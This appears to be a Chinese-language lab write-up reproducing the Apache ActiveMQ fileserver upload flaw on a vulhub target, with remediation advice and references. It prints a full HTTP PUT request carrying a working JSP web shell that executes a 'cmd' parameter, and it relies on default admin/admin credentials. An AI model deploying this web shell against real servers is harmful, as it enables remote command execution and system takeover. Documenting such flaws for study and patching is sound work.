漏洞原理
該漏洞出現在fileserver應用中,ActiveMQ中的fileserver服務允許用戶通過HTTP PUT方法上傳文件到指定目錄。Fileserver支持寫入文件(不解析jsp),但是支持移動文件(Move)我們可以將jsp的文件PUT到Fileserver下,然后再通過Move指令移動到可執行目錄下訪問
環境搭建
使用vulhub一鍵搭建,靶機kali:192.168.1771.37
docker-compose up -d
環境搭建成功,瀏覽器訪問:http://IP:8161
漏洞復現
登錄admin賬號:默認賬號admin/admin,抓包進行修改,使用PUT方法上傳文件。ActiveMQ Web控制台分為三個應用程序:其中admin,api和fileserver,其中admin是管理員頁面,api是界面,fileserver是用於存儲文件的界面;admin和api需要先登錄才能使用,fileserver不需要登錄。
上傳jsp文件(系統不穩定,有時成功有時失敗),
PUT /fileserver/2.jsp HTTP/1.1 Host: 192.168.177.137:8161 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p Authorization: Basic YWRtaW46YWRtaW4= X-Forwarded-For: 8.8.8.8 Connection: close Content-Length: 329 <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
使用MOVE方法移動文件,成功的包沒截上,再次上傳是500回顯,文件已經上傳成功,訪問地址,成功解析jsp
漏洞影響
漏洞影響版本:Apache ActiveMQ 5.x ~ 5.14.0
漏洞修復
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建議用戶升級至 5.14.0 及其以后版本。
2、通過移除 conf\jetty.xml
的以下配置來禁用 ActiveMQ Fileserver 功能
參考文獻
https://paper.seebug.org/346/
https://blog.csdn.net/yukinorong/article/details/106942279
https://www.jb51.net/article/167145.htm